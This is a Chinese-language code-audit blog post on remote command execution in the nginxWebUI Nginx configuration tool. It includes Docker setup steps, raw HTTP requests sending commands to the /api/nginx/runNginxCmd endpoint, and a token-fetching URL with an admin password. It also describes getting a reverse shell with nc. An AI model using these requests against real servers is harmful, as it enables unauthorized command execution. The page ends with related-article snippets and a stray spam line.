<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    某Nginx配置管理平臺代碼審計分析

    VSole2022-06-10 11:55:55

    前言


    年初的時候,做代碼審計的時候whippet師傅給分享下面的這個漏洞,所以拿出來分析一下,確實是個0day,不是,還沒人分析過,或許是nday???有意思的點兒可能在實現RCE的地方吧。



    介紹


    nig****UI可以使用WebUI配置nginx的各項功能,包括http協議轉發、tcp協議轉發、反向代理、負載均衡、ssl證書自動申請、續簽、配置等, 最終生成nginx.conf文件并覆蓋nginx的默認配置文件, 完成nginx的最終功能配置。



    環境搭建


    下載源文件直接啟動


    下載地址github下載源碼,手動搜索即可,當前版本為2.7.5



    訪問8090端口即可



    如果自己本地不想安裝nginx的話,跳過安裝步驟,更改訪問目錄。

    • 使用docker搭建。搭建環境Ubuntu16.04

    拉取鏡像



    docker pull cym1102/nginxwebui:latest
    




    docker run -itd -v /home/nginxWebUI:/home/nginxWebUI -e  BOOT_OPTIONS="--server.port=8080" --privileged=true --net=host  cym1102/nginxwebui:latest
    



    docker ps
    



    訪問



    http://192.168.166.130:8080



    初始化管理員設置之后登錄



    命令執行










    漏洞觸發點

    遠程服務器->批量命令



    執行ifconfig成功



    這里使用whoami的時候容易看不到,剛開始以為不能執行,,,,



    可以嘗試創建一個文件



    ls查看創建成功



    當然在構造payload的時候拼接語句的話只要符合linux語法都可。



    實現RCE










    本來是想能不能直接反彈shell的



    這里會直接將&符作為連接符去執行了,使用反斜杠去轉譯,反斜杠被轉譯為了雙反斜杠,這里嘗試了很久沒繞過,有興趣的師傅可以嘗試一下



    使用base64做編碼反彈嘗試



    base編碼格式這里會使用|符號,自然在這里這里行不通,因為直接執行了最后的命令,在linux下使用該符號執行命令,會自動執行最后的語句



    使用\防轉義



    但是這里反斜杠被轉譯為了雙反斜杠,那么這是行不通的,那么這個時候只能選擇其它方式實現RCE,使用nc反彈



    windows上起的nc,發現回連



    此時使用nc反彈已經拿到了shell。



    代碼分析










    后臺自帶啟動功能,必定是能夠使用命令去執行,這個點兒的話其實也不是不能限制,限制能夠能夠執行的命令,在一定程度上也算不得可控的命令執行



    ctrl+N


    搜索cmd字段



    搜索contrller.adminPage.RemoteController類的cmdOver方法




    在329行的時候傳入cmd參數,參數就是對nginx的啟動或者停止,331的時候調用runcmd方法

    src\main\java\com\cym\controller\adminPage\ConfController.java



    338行使用的是put方法傳參,直接執行了前面輸入的cmd參數內容。

    同理這里ctrl+n搜索調用runcmd方法的類



    那么這里就是第二個產生命令執行和rce的地方了。但是在調用的時候發現其實這里使用是有限制的

    ginxwebui\src\main\java\com\cym\controller\api\NginxApiController.java

    該類屬于api路徑,傳參方式POST



    構造數據包



    POST /api/nginx/runNginxCmd HTTP/1.1Host: 192.168.166.130:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestOrigin: http://192.168.166.130:8080Connection: closeCookie: Hm_lvt_8acef669ea66f479854ecd328d1f348f=1653381776,1653447427; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1653473865; Content-Length: 10
    cmd=whoami
    



    不行???思路有問題么,繼續分析,在api調用給的時候有關于token的認證,在上面的數據包中我們抓包,用戶身份字段是cookie,那么這個token的作用優勢什么呢?

    nginxwebui\target\classes\com\cym\controller\api\TokenController.class



    token的作用也必定是身份認證使用的,這里我查看了接口文檔



    直接調用了接口




    到這里基本上是可以確定了接口文件的和接口類的作用,使用的身份認證字段為token,那么想要利用接口的話必須

    找到接口權限,然后開啟



    獲取token



    http://192.168.166.130:8080/token/getToken?name=admin&pass=1qaz@WSX



    獲取密碼文件接口,構造數據包



    POST /api/nginx/runNginxCmd HTTP/1.1Host: 192.168.166.130:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestOrigin: http://192.168.166.130:8080Connection: closeCookie: Hm_lvt_8acef669ea66f479854ecd328d1f348f=1653381776,1653447427; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1653473865; Content-Length: 10
    cmd=whoami
    



    獲取到所有的密碼文件信息,這個時候調構造請求payload去進行命令執行



    POST /api/nginx/runNginxCmd HTTP/1.1Host: 192.168.166.130:8080Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW X-Requested-With: XMLHttpRequest Origin: http://192.168.154.129:8080 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Token: d979abda-db85-4f08-b7bd-0e054df0e02a Content-Type: application/x-www-form-urlencoded Content-Length: 10 
    cmd=whoami
    



    OK,,,,結束。



    小結


    還是挺有意思的,新版本的不確定還存不存在能RCE,有興趣的師傅可以試試,大佬勿噴。


    api接口
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    API接口管理工具
    2023-12-01 11:02:53
    API-Explorer是一款管理api接口的工具,可提前配置好接口,直接調用即可;可定義數據包任何位置內容,使用起來相當靈活。
    也就是說,安全人員對API風險的防控工作,是以業務人員的API資產維護工作為基礎的,這之間就存在跨部門協作的壁壘問題。進一步觀測這些近似的API端點,會發現它們往往也具有相同的用途。這類路徑、用途高度重合的API端點若全盤列出,可能會造成API資產列表過于龐大的問題。
    API接口滲透測試
    2022-03-25 22:15:35
    MVC 將整個應用分成 Model、View 和 Controller 三個部分,而這些組成部分其實也有著幾乎相同的職責。SoapUI Free,手工測試SOAPSonar,SOAP UI 的替代。Burp Suite,代理攔截,跟蹤通信過程和結果,對通信進行重放和二次處理等。代理配置可以用 Burp 重放 SOAP 的探測 Payload。SUAP UI 會自動探測接口
    了解接口常見漏洞,將幫助你在測試接口獲取更多的思路。信息披露信息可能會在 API 響應或公共來源中披露。敏感數據可以包含攻擊者可以利用的任何信息。例如,使用WordPress API的網站可能會在不知不覺中與導航到API路徑的任何人共享用戶信息。錯誤消息可幫助 API 使用者排查其與 API 的交互問題,并允許 API 提供者了解其應用程序的問題。其他良好的信息來源是在偵察期間收集的 API 文檔和資源。
    滲透測試-API接口測試
    2021-12-28 22:57:33
    一個API中通常包含的結構有:本文記錄的是Postman學習,以及一些接口測試概念。幫助大家建立接口測試的整體概念,以及學會Postman工具的使用。因為客戶自己的測試人員平時做業務功能測試時,也都是有現成的測試 demo的,不可能在Postman中一個一個手動構造請求去測試。
    隨著現代互聯網的快速發展,網絡攻擊、數據泄露事件日益增多,根據Salt公司發布的《2023 年第一季度 API 安全狀況報告》,與前六個月相比,針對API的攻擊增加了400%,其中31%的客戶遭遇了敏感數據泄露,由此API接口的安全性越來越受到人們的關注。其中,SSL證書作為保護傳輸數據安全的重要工具,可以助力確保API接口的安全性,加密傳輸信息防窺探防篡改。為什么API接口安全性如此重要?1、A
    說實話,我非常希望自己能早點看到本篇文章,大學那個時候懵懵懂懂,跟著網上的免費教程做了一個購物商城就屁顛屁顛往簡歷上寫。至今我仍清晰地記得,那個電商教程是怎么定義接口的:管它是增加、修改、刪除、帶參查詢,全是 POST 請求一把梭,比如下面這樣:修改用戶的收貨地址。現在看來,全部用 POST 請求估計是為了傳參方便吧。本文希望通過串講,梳理一下個人當前了解到的 API 知識體系,整理的同時也希望能對大家有一點點幫助。
    異步調用幾乎是處理高并發Web應用性能問題的萬金油,那么什么是“異步調用”? “異步調用”對應的是“同步調用”,同步調用指程序按照定義順序依次執行,每一行程序都必須等待上一行程序執行完成之后才能執行;異步調用指程序在順序執行時,不等待異步調用的語句返回結果就執行后面的程序。
    近日,阿里云應急響應中心捕獲到 XXL-JOB API 接口未授權訪問致反序列化漏洞。漏洞描述 XXL-JOB是一個輕量級分布式任務調度平臺。默認情況下XXL-JOB的API接口沒有配置認證措施,未授權的攻擊者可構造惡意請求,觸發反序列化,造成遠程執行命令,直接控制服務器。漏洞利用無需登錄,實際風險極高,阿里云應急響應中心提醒 XXL-JOB 用戶盡快采取安全措施阻止漏洞攻擊。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类